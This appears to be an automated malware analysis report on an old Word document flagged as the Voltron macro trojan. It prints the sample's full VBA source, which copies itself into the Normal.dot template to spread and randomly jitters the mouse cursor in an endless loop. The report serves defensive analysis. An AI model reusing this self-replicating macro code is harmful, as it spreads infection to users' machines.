Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45ac6636567edd77…

MALICIOUS

Office (OLE)

30.5 KB Created: 1999-03-31 06:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 29a5d33436472883cc01e2219f09d284 SHA-1: 324686d94ecfc41310093392fce502a9038837b4 SHA-256: 45ac6636567edd779c5f4f6be8b69cc0026f5c4ccf3067836db2b50bbf801966
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, including AutoOpen, AutoNew, and AutoClose, which are commonly used for malicious purposes. The AutoOpen macro attempts to copy its own macro code to the Normal.dot template, indicating an attempt at persistence. The ClamAV detection of 'Doc.Trojan.Voltron-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Voltron-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Voltron-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2267 bytes
SHA-256: 62f0bb04f4af9cc29367ab195e5c0ecb37dad54510abaf2f65238736ae97dd5e
Detection
ClamAV: Doc.Trojan.Voltron-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Option Explicit
Type POINTAPI
    VoltronX1 As Long
    VoltronY1 As Long
End Type
Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 00/00/00 by XXXXXX"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
On Error GoTo exiting
    Application.OrganizerCopy _
    Source:=ActiveDocument.Name, _
    Destination:=NormalTemplate.FullName, Name:="NewMacros", _
    Object:=wdOrganizerObjectProjectItems
    Exit Sub
exiting:
End Sub
Sub AutoNew()
On Error GoTo exiting
    Application.OrganizerCopy _
    Source:=NormalTemplate.FullName, _
    Destination:=ActiveDocument.Name, Name:="NewMacros", _
    Object:=wdOrganizerObjectProjectItems
    Call DoMyStuff
    Exit Sub
exiting:
End Sub
Sub AutoClose()
On Error GoTo exiting
    Application.OrganizerCopy _
    Source:=NormalTemplate.FullName, _
    Destination:=ActiveDocument.Name, Name:="NewMacros", _
    Object:=wdOrganizerObjectProjectItems
    Exit Sub
exiting:
End Sub
Sub DoMyStuff()
On Error GoTo exiting
Dim Voltron As POINTAPI
Dim VoltronV As Long
Dim VoltronX As Long
Dim VoltronY As Long
Dim VoltronA As Long
Dim VoltronR As Long
    If Rnd * 100 > 1 Then
        Exit Sub
    Else
        While Not 1
            DoEvents
            VoltronV = GetCursorPos(Voltron)
            VoltronX = Voltron.VoltronX1
            VoltronY = Voltron.VoltronY1
            VoltronA = Int(Rnd * 4) + 1
            Select Case VoltronA
                Case Is = 1: VoltronX = VoltronX + 1
                Case Is = 2: VoltronX = VoltronX - 1
                Case Is = 3: VoltronY = VoltronY + 1
                Case Is = 4: VoltronY = VoltronY - 1
            End Select
            VoltronR = SetCursorPos(VoltronX, VoltronY)
        Wend
    End If
exiting:
End Sub

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